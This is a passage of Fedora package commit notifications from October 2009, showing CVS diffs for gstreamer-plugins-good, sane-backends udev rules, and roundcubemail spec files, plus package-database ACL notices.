-+  gst_buffer_set_caps (buffer, padpriv->out_caps);
++  if (!padpriv) {
++    ret = GST_FLOW_NOT_LINKED;
++    gst_buffer_unref (buffer);
++    goto out;
++  }
 +
 +  ret = gst_pad_push (rtp_mux->srcpad, buffer);
 +
++out:
++
 +  gst_object_unref (rtp_mux);
 +  return ret;
 +}
@@ -21723,7 +7096,7 @@ index 0000000..82d4b00
 +  GstRTPMux *rtp_mux;
 +  GstStructure *structure;
 +  gboolean ret = FALSE;
-+  GstRTPMuxPadPrivate *padpriv = gst_pad_get_element_private (pad);
++  GstRTPMuxPadPrivate *padpriv;
 +
 +  rtp_mux = GST_RTP_MUX (gst_pad_get_parent (pad));
 +
@@ -21732,9 +7105,13 @@ index 0000000..82d4b00
 +  if (!structure)
 +    goto out;
 +
-+  if (gst_structure_get_uint (structure, "clock-base", &padpriv->clock_base)) {
++  GST_OBJECT_LOCK (rtp_mux);
++  padpriv = gst_pad_get_element_private (pad);
++  if (padpriv &&
++      gst_structure_get_uint (structure, "clock-base", &padpriv->clock_base)) {
 +    padpriv->have_clock_base = TRUE;
 +  }
++  GST_OBJECT_UNLOCK (rtp_mux);
 +
 +  caps = gst_caps_copy (caps);
 +
@@ -21746,8 +7123,13 @@ index 0000000..82d4b00
 +      "setting caps %" GST_PTR_FORMAT " on src pad..", caps);
 +  ret = gst_pad_set_caps (rtp_mux->srcpad, caps);
 +
-+  if (ret)
-+    gst_caps_replace (&padpriv->out_caps, caps);
++  if (ret) {
++    GST_OBJECT_LOCK (rtp_mux);
++    padpriv = gst_pad_get_element_private (pad);
++    if (padpriv)
++      gst_caps_replace (&padpriv->out_caps, caps);
++    GST_OBJECT_UNLOCK (rtp_mux);
++  }
 +  gst_caps_unref (caps);
 +
 +out:
@@ -22528,5 +7910,5 @@ index 0000000..cc7cd38
 +G_END_DECLS
 +#endif /* __GST_VALVE_H__ */
 -- 
-1.6.2.2
+1.6.5.rc2
 


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/gstreamer-plugins-good.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- gstreamer-plugins-good.spec	19 Oct 2009 14:31:20 -0000	1.106
+++ gstreamer-plugins-good.spec	22 Oct 2009 15:02:43 -0000	1.107
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	4%{?dist}
+Release:  	5%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -240,6 +240,7 @@ rm -rf $RPM_BUILD_ROOT
 # %{_libdir}/gstreamer-%{majorminor}/libgstladspa.so
 # %{_libdir}/gstreamer-%{majorminor}/libgstaasink.so
 %{_libdir}/gstreamer-%{majorminor}/libgstpulse.so
+%{_libdir}/gstreamer-%{majorminor}/libgstrtpmanager.so
 
 %ifnarch s390 s390x
 %{_libdir}/gstreamer-%{majorminor}/libgstdv.so
@@ -250,7 +251,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/gstreamer-%{majorminor}/libgstautoconvert.so
 %{_libdir}/gstreamer-%{majorminor}/libgstdtmf.so
 %{_libdir}/gstreamer-%{majorminor}/libgstliveadder.so
-%{_libdir}/gstreamer-%{majorminor}/libgstrtpmanager.so
 %{_libdir}/gstreamer-%{majorminor}/libgstrtpmux.so
 %{_libdir}/gstreamer-%{majorminor}/libgstvalve.so
 
@@ -279,6 +279,10 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-5
+- Update farsight plugins from -bad
+- Drop copy/pasted rtpmanager plugin, it's now in -good
+
 * Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
 - Fix pulsesink not advertising the StreamVolume interface
 



From nphilipp at fedoraproject.org  Thu Oct 22 15:08:41 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu, 22 Oct 2009 15:08:41 +0000 (UTC)
Subject: rpms/sane-backends/devel sane-backends-1.0.20-udev.patch, 1.2,
	1.3 sane-backends.spec, 1.134, 1.135
Message-ID: <20091022150841.9233011C008C@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/sane-backends/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv378

Modified Files:
	sane-backends-1.0.20-udev.patch sane-backends.spec 
Log Message:
don't set owner, group or mode as this may interfere with setting ACLs


sane-backends-1.0.20-udev.patch:
 sane-desc.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

Index: sane-backends-1.0.20-udev.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/devel/sane-backends-1.0.20-udev.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sane-backends-1.0.20-udev.patch	22 Oct 2009 12:32:41 -0000	1.2
+++ sane-backends-1.0.20-udev.patch	22 Oct 2009 15:08:41 -0000	1.3
@@ -1,11 +1,19 @@
-commit 91cbd80ad6f86af2d5696caeab2be0c404c4663c
+commit 9ba88134bd6d296ccbcf253c6ade3e646dc286b9
 Author: Nils Philippsen <nils at redhat.com>
-Date:   Thu Oct 22 14:29:41 2009 +0200
+Date:   Thu Oct 22 17:05:30 2009 +0200
 
     patch: udev
     
     Squashed commit of the following:
     
+    commit a7541ac649bea3f352a249dfc569f3bc18b5a968
+    Author: Nils Philippsen <nils at redhat.com>
+    Date:   Thu Oct 22 17:02:52 2009 +0200
+    
+        don't set owner, group or mode
+    
+        setting owner, group or mode may interfere with setting ACLs
+    
     commit e385558cf214d263af93147995f1f8b729d2dabe
     Author: Nils Philippsen <nils at redhat.com>
     Date:   Thu Oct 22 14:19:53 2009 +0200
@@ -19,7 +27,7 @@ Date:   Thu Oct 22 14:29:41 2009 +0200
         adapt generated udev rules for Fedora
 
 diff --git a/tools/sane-desc.c b/tools/sane-desc.c
-index c317700..07f3a2b 100644
+index c317700..2a410b2 100644
 --- a/tools/sane-desc.c
 +++ b/tools/sane-desc.c
 @@ -56,9 +56,9 @@
@@ -40,29 +48,28 @@ index c317700..07f3a2b 100644
        printf ("\n");
 -      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
 -	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVGROUP);
-+      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVOWNER, DEVGROUP);
++      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2);
        usbid = usbid->next;
      }
  
-@@ -3488,7 +3488,8 @@ print_udev (void)
+@@ -3488,7 +3488,7 @@ print_udev (void)
    printf ("SUBSYSTEMS!=\"scsi\", GOTO=\"libsane_scsi_rules_end\"\n\n");
    printf ("LABEL=\"libsane_scsi_rules_begin\"\n");
    printf ("# Generic: SCSI device type 6 indicates a scanner\n");
 -  printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"6\", MODE=\"%s\", GROUP=\"%s\"\n", DEVMODE, DEVGROUP);
-+  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+          DEVMODE, DEVOWNER, DEVGROUP);
++  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", ENV{libsane_matched}=\"yes\"\n");
    printf ("# Some scanners advertise themselves as SCSI device type 3\n");
  
    while (scsiid)
-@@ -3521,8 +3522,8 @@ print_udev (void)
+@@ -3521,8 +3521,8 @@ print_udev (void)
  	    }
          }
        printf ("\n");
 -      printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", GROUP=\"%s\"\n",
 -	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVGROUP);
-+      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVOWNER, DEVGROUP);
++      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      scsiid->scsi_vendor_id, scsiid->scsi_product_id);
        scsiid = scsiid->next;
      }
    printf ("LABEL=\"libsane_scsi_rules_end\"\n\n");


Index: sane-backends.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/devel/sane-backends.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- sane-backends.spec	22 Oct 2009 12:32:41 -0000	1.134
+++ sane-backends.spec	22 Oct 2009 15:08:41 -0000	1.135
@@ -15,7 +15,7 @@
 Summary: Scanner access software
 Name: sane-backends
 Version: 1.0.20
-Release: 9%{?dist}
+Release: 10%{?dist}
 # lib/ is LGPLv2+, backends are GPLv2+ with exceptions
 # Tools are GPLv2+, docs are public domain
 # see LICENSE for details
@@ -189,6 +189,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/sane-backends.pc
 
 %changelog
+* Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-10
+- don't set owner, group or mode as this may interfere with setting ACLs
+
 * Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-9
 - fix device file ownership and mode
 



From nphilipp at fedoraproject.org  Thu Oct 22 15:10:00 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu, 22 Oct 2009 15:10:00 +0000 (UTC)
Subject: rpms/sane-backends/F-12 sane-backends-1.0.20-udev.patch, 1.2,
	1.3 sane-backends.spec, 1.134, 1.135
Message-ID: <20091022151000.AC77811C008C@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/sane-backends/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv735

Modified Files:
	sane-backends-1.0.20-udev.patch sane-backends.spec 
Log Message:
don't set owner, group or mode as this may interfere with setting ACLs


sane-backends-1.0.20-udev.patch:
 sane-desc.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

Index: sane-backends-1.0.20-udev.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/F-12/sane-backends-1.0.20-udev.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sane-backends-1.0.20-udev.patch	22 Oct 2009 12:33:19 -0000	1.2
+++ sane-backends-1.0.20-udev.patch	22 Oct 2009 15:10:00 -0000	1.3
@@ -1,11 +1,19 @@
-commit 91cbd80ad6f86af2d5696caeab2be0c404c4663c
+commit 9ba88134bd6d296ccbcf253c6ade3e646dc286b9
 Author: Nils Philippsen <nils at redhat.com>
-Date:   Thu Oct 22 14:29:41 2009 +0200
+Date:   Thu Oct 22 17:05:30 2009 +0200
 
     patch: udev
     
     Squashed commit of the following:
     
+    commit a7541ac649bea3f352a249dfc569f3bc18b5a968
+    Author: Nils Philippsen <nils at redhat.com>
+    Date:   Thu Oct 22 17:02:52 2009 +0200
+    
+        don't set owner, group or mode
+    
+        setting owner, group or mode may interfere with setting ACLs
+    
     commit e385558cf214d263af93147995f1f8b729d2dabe
     Author: Nils Philippsen <nils at redhat.com>
     Date:   Thu Oct 22 14:19:53 2009 +0200
@@ -19,7 +27,7 @@ Date:   Thu Oct 22 14:29:41 2009 +0200
         adapt generated udev rules for Fedora
 
 diff --git a/tools/sane-desc.c b/tools/sane-desc.c
-index c317700..07f3a2b 100644
+index c317700..2a410b2 100644
 --- a/tools/sane-desc.c
 +++ b/tools/sane-desc.c
 @@ -56,9 +56,9 @@
@@ -40,29 +48,28 @@ index c317700..07f3a2b 100644
        printf ("\n");
 -      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
 -	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVGROUP);
-+      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVOWNER, DEVGROUP);
++      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2);
        usbid = usbid->next;
      }
  
-@@ -3488,7 +3488,8 @@ print_udev (void)
+@@ -3488,7 +3488,7 @@ print_udev (void)
    printf ("SUBSYSTEMS!=\"scsi\", GOTO=\"libsane_scsi_rules_end\"\n\n");
    printf ("LABEL=\"libsane_scsi_rules_begin\"\n");
    printf ("# Generic: SCSI device type 6 indicates a scanner\n");
 -  printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"6\", MODE=\"%s\", GROUP=\"%s\"\n", DEVMODE, DEVGROUP);
-+  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+          DEVMODE, DEVOWNER, DEVGROUP);
++  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", ENV{libsane_matched}=\"yes\"\n");
    printf ("# Some scanners advertise themselves as SCSI device type 3\n");
  
    while (scsiid)
-@@ -3521,8 +3522,8 @@ print_udev (void)
+@@ -3521,8 +3521,8 @@ print_udev (void)
  	    }
          }
        printf ("\n");
 -      printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", GROUP=\"%s\"\n",
 -	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVGROUP);
-+      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVOWNER, DEVGROUP);
++      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      scsiid->scsi_vendor_id, scsiid->scsi_product_id);
        scsiid = scsiid->next;
      }
    printf ("LABEL=\"libsane_scsi_rules_end\"\n\n");


Index: sane-backends.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/F-12/sane-backends.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- sane-backends.spec	22 Oct 2009 12:33:19 -0000	1.134
+++ sane-backends.spec	22 Oct 2009 15:10:00 -0000	1.135
@@ -15,7 +15,7 @@
 Summary: Scanner access software
 Name: sane-backends
 Version: 1.0.20
-Release: 9%{?dist}
+Release: 10%{?dist}
 # lib/ is LGPLv2+, backends are GPLv2+ with exceptions
 # Tools are GPLv2+, docs are public domain
 # see LICENSE for details
@@ -189,6 +189,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/sane-backends.pc
 
 %changelog
+* Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-10
+- don't set owner, group or mode as this may interfere with setting ACLs
+
 * Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-9
 - fix device file ownership and mode
 



From hadess at fedoraproject.org  Thu Oct 22 15:09:53 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 22 Oct 2009 15:09:53 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/devel gstreamer-plugins-good.spec, 1.107,
	1.108 autoconvert-fix-caps.patch, 1.1, NONE
Message-ID: <20091022150953.5111D11C008C@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv758

Modified Files:
	gstreamer-plugins-good.spec 
Removed Files:
	autoconvert-fix-caps.patch 
Log Message:
* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-5
- Update farsight plugins from -bad
- Drop copy/pasted rtpmanager plugin, it's now in -good



Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/gstreamer-plugins-good.spec,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- gstreamer-plugins-good.spec	22 Oct 2009 15:02:43 -0000	1.107
+++ gstreamer-plugins-good.spec	22 Oct 2009 15:09:53 -0000	1.108
@@ -68,7 +68,6 @@ Obsoletes: gstreamer-plugins-pulse < 0.9
 # farsight plugins
 Patch0: 0001-Move-farsight-plugins-from-bad-to-good.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=575568#c22
-Patch1: autoconvert-fix-caps.patch
 BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
@@ -112,7 +111,6 @@ This is a dummy package to make gstreame
 
 # Farsight plugins
 %patch0 -p1 -b .farsight
-%patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
 %patch2 -p1 -b .volume-lowering


--- autoconvert-fix-caps.patch DELETED ---



From limb at fedoraproject.org  Thu Oct 22 15:20:04 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Thu, 22 Oct 2009 15:20:04 +0000 (UTC)
Subject: rpms/roundcubemail/devel roundcubemail.spec,1.26,1.27
Message-ID: <20091022152004.E62C911C02A0@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4435

Modified Files:
	roundcubemail.spec 
Log Message:
Macro fix, BZ530037.



Index: roundcubemail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/devel/roundcubemail.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- roundcubemail.spec	23 Sep 2009 15:15:34 -0000	1.26
+++ roundcubemail.spec	22 Oct 2009 15:20:03 -0000	1.27
@@ -1,7 +1,8 @@
 %define roundcubedir %{_datadir}/roundcubemail
+%global _logdir /var/log  
 Name: roundcubemail
 Version:  0.3
-Release:  1%{?dist}
+Release:  2%{?dist}
 Summary: Round Cube Webmail is a browser-based multilingual IMAP client
 
 Group: Applications/System         
@@ -143,6 +144,9 @@ exit 0
 %config(noreplace) %{_sysconfdir}/logrotate.d/roundcubemail
 
 %changelog
+* Thu Oct 22 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-2
+- Macro fix, BZ530037.
+
 * Wed Sep 23 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-1
 - New upstream.
 



From hadess at fedoraproject.org  Thu Oct 22 15:21:13 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 22 Oct 2009 15:21:13 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/devel
	0001-Move-farsight-plugins-from-bad-to-good.patch, 1.2, 1.3
Message-ID: <20091022152113.DB08F11C02A0@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4925

Modified Files:
	0001-Move-farsight-plugins-from-bad-to-good.patch 
Log Message:
Forgot .h files

0001-Move-farsight-plugins-from-bad-to-good.patch:
 Makefile.am                           |    1 
 configure.ac                          |    6 
 farsight/Makefile.am                  |    1 
 farsight/autoconvert/Makefile.am      |    9 
 farsight/autoconvert/gstautoconvert.c | 1434 +++++++++++++++++++++++++++++++
 farsight/autoconvert/gstautoconvert.h |   65 +
 farsight/dtmf/Makefile.am             |   17 
 farsight/dtmf/gstdtmf.c               |   30 
 farsight/dtmf/gstdtmfsrc.c            |  935 ++++++++++++++++++++
 farsight/dtmf/gstdtmfsrc.h            |   98 ++
 farsight/dtmf/gstrtpdtmfcommon.h      |   23 
 farsight/dtmf/gstrtpdtmfdepay.c       |  555 ++++++++++++
 farsight/dtmf/gstrtpdtmfdepay.h       |   66 +
 farsight/dtmf/gstrtpdtmfsrc.c         | 1099 ++++++++++++++++++++++++
 farsight/dtmf/gstrtpdtmfsrc.h         |  112 ++
 farsight/liveadder/Makefile.am        |    9 
 farsight/liveadder/liveadder.c        | 1548 ++++++++++++++++++++++++++++++++++
 farsight/liveadder/liveadder.h        |  108 ++
 farsight/rtpmux/Makefile.am           |   11 
 farsight/rtpmux/gstrtpdtmfmux.c       |  326 +++++++
 farsight/rtpmux/gstrtpdtmfmux.h       |   68 +
 farsight/rtpmux/gstrtpmux.c           |  632 +++++++++++++
 farsight/rtpmux/gstrtpmux.h           |   78 +
 farsight/rtpmux/gstrtpmuxer.c         |   48 +
 farsight/valve/Makefile.am            |    9 
 farsight/valve/gstvalve.c             |  311 ++++++
 farsight/valve/gstvalve.h             |   83 +
 27 files changed, 7681 insertions(+), 1 deletion(-)

Index: 0001-Move-farsight-plugins-from-bad-to-good.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/0001-Move-farsight-plugins-from-bad-to-good.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 0001-Move-farsight-plugins-from-bad-to-good.patch	22 Oct 2009 15:02:43 -0000	1.2
+++ 0001-Move-farsight-plugins-from-bad-to-good.patch	22 Oct 2009 15:21:10 -0000	1.3
@@ -1,4 +1,4 @@
-From a584d0c66194fa1af7bd8a71d0d56f318942d890 Mon Sep 17 00:00:00 2001
+From 3f4951b983a9dfbec87ad57f69ade6829abbbab3 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Mon, 22 Jun 2009 16:09:04 +0100
 Subject: [PATCH] Move farsight plugins from -bad to -good
@@ -9,7 +9,7 @@ Subject: [PATCH] Move farsight plugins f
  farsight/Makefile.am                  |    1 +
  farsight/autoconvert/Makefile.am      |    9 +
  farsight/autoconvert/gstautoconvert.c | 1434 ++++++++++++++++++++++++++++++
- farsight/autoconvert/gstautoconvert.h |   63 ++
+ farsight/autoconvert/gstautoconvert.h |   65 ++
  farsight/dtmf/Makefile.am             |   17 +
  farsight/dtmf/gstdtmf.c               |   30 +
  farsight/dtmf/gstdtmfsrc.c            |  935 ++++++++++++++++++++
@@ -31,7 +31,7 @@ Subject: [PATCH] Move farsight plugins f
  farsight/valve/Makefile.am            |    9 +
  farsight/valve/gstvalve.c             |  311 +++++++
  farsight/valve/gstvalve.h             |   82 ++
- 27 files changed, 7679 insertions(+), 0 deletions(-)
+ 27 files changed, 7681 insertions(+), 0 deletions(-)
  create mode 100644 farsight/Makefile.am
  create mode 100644 farsight/autoconvert/Makefile.am
  create mode 100644 farsight/autoconvert/gstautoconvert.c
@@ -1551,10 +1551,10 @@ index 0000000..55f4719
 +    GST_PACKAGE_ORIGIN)
 diff --git a/farsight/autoconvert/gstautoconvert.h b/farsight/autoconvert/gstautoconvert.h
 new file mode 100644
-index 0000000..4a3c8df
+index 0000000..af463f4
 --- /dev/null
 +++ b/farsight/autoconvert/gstautoconvert.h
-@@ -0,0 +1,63 @@
+@@ -0,0 +1,65 @@
 +/* GStreamer
 + *
 + *  Copyright 2007 Collabora Ltd
@@ -1609,6 +1609,8 @@ index 0000000..4a3c8df
 +  GstElement *current_subelement;
 +  GstPad *current_internal_srcpad;
 +  GstPad *current_internal_sinkpad;
++
++  GList *cached_events;
 +};
 +
 +struct _GstAutoConvertClass



From limb at fedoraproject.org  Thu Oct 22 15:25:54 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Thu, 22 Oct 2009 15:25:54 +0000 (UTC)
Subject: rpms/roundcubemail/F-12 roundcubemail-README.fedora, 1.1,
	1.2 roundcubemail.spec, 1.26, 1.27
Message-ID: <20091022152554.52EC311C008C@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6594

Modified Files:
	roundcubemail-README.fedora roundcubemail.spec 
Log Message:
Macro fix, BZ530037.



Index: roundcubemail-README.fedora
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-12/roundcubemail-README.fedora,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- roundcubemail-README.fedora	28 May 2007 17:22:40 -0000	1.1
+++ roundcubemail-README.fedora	22 Oct 2009 15:25:53 -0000	1.2
@@ -10,4 +10,15 @@ PDO extension, or if SQLite2 support for
 will re-enable SQLite support in Roundcubemail.
 
 Jon Ciesla
-05/11/2007
\ No newline at end of file
+05/11/2007
+
+Additional installation information:
+
+In your installation process, you'll need to modify db.inc.php and main.inc.php.  
+In Fedora, these are located in /etc/roundcubemail.  These will work in this location,
+and should not be moved.  They will not be modified at upgrade, so you may want to 
+check the .rpmnew files at that time so see if you need to migrate your settings to 
+the new file.
+
+Jon Ciesla
+10/20/2009


Index: roundcubemail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-12/roundcubemail.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- roundcubemail.spec	23 Sep 2009 15:15:34 -0000	1.26
+++ roundcubemail.spec	22 Oct 2009 15:25:54 -0000	1.27
@@ -1,7 +1,8 @@
 %define roundcubedir %{_datadir}/roundcubemail
+%global _logdir /var/log  
 Name: roundcubemail
 Version:  0.3
-Release:  1%{?dist}
+Release:  2%{?dist}
 Summary: Round Cube Webmail is a browser-based multilingual IMAP client
 
 Group: Applications/System         
@@ -143,6 +144,9 @@ exit 0
 %config(noreplace) %{_sysconfdir}/logrotate.d/roundcubemail
 
 %changelog
+* Thu Oct 22 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-2
+- Macro fix, BZ530037.
+
 * Wed Sep 23 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-1
 - New upstream.
 



From pkgdb at fedoraproject.org  Thu Oct 22 15:27:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 15:27:52 +0000
Subject: [pkgdb] perl-XML-Twig had acl change status
Message-ID: <20091022152752.DAF3610F880@bastion2.fedora.phx.redhat.com>

mmaslano has set the watchbugzilla acl on perl-XML-Twig (Fedora devel) to Approved for cweyl

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-Twig



From pkgdb at fedoraproject.org  Thu Oct 22 15:27:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 15:27:57 +0000
Subject: [pkgdb] perl-XML-Twig had acl change status
Message-ID: <20091022152757.60C9A10F891@bastion2.fedora.phx.redhat.com>

mmaslano has set the watchcommits acl on perl-XML-Twig (Fedora devel) to Approved for cweyl

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-Twig



From hadess at fedoraproject.org  Thu Oct 22 15:32:30 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 22 Oct 2009 15:32:30 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-12
	0001-Move-farsight-plugins-from-bad-to-good.patch, 1.1,
	1.2 gstreamer-plugins-good.spec, 1.106,
	1.107 autoconvert-fix-caps.patch, 1.1, NONE
Message-ID: <20091022153230.A0BC011C008C@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8607

Modified Files:
	0001-Move-farsight-plugins-from-bad-to-good.patch 
	gstreamer-plugins-good.spec 
Removed Files:
	autoconvert-fix-caps.patch 
Log Message:
* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-5
- Update farsight plugins from -bad
- Drop copy/pasted rtpmanager plugin, it's now in -good


0001-Move-farsight-plugins-from-bad-to-good.patch:
 Makefile.am                           |    1 
 configure.ac                          |    6 
 farsight/Makefile.am                  |    1 
 farsight/autoconvert/Makefile.am      |    9 
 farsight/autoconvert/gstautoconvert.c | 1434 +++++++++++++++++++++++++++++++
 farsight/autoconvert/gstautoconvert.h |   65 +
 farsight/dtmf/Makefile.am             |   17 
 farsight/dtmf/gstdtmf.c               |   30 
 farsight/dtmf/gstdtmfsrc.c            |  935 ++++++++++++++++++++
 farsight/dtmf/gstdtmfsrc.h            |   98 ++
 farsight/dtmf/gstrtpdtmfcommon.h      |   23 
 farsight/dtmf/gstrtpdtmfdepay.c       |  555 ++++++++++++
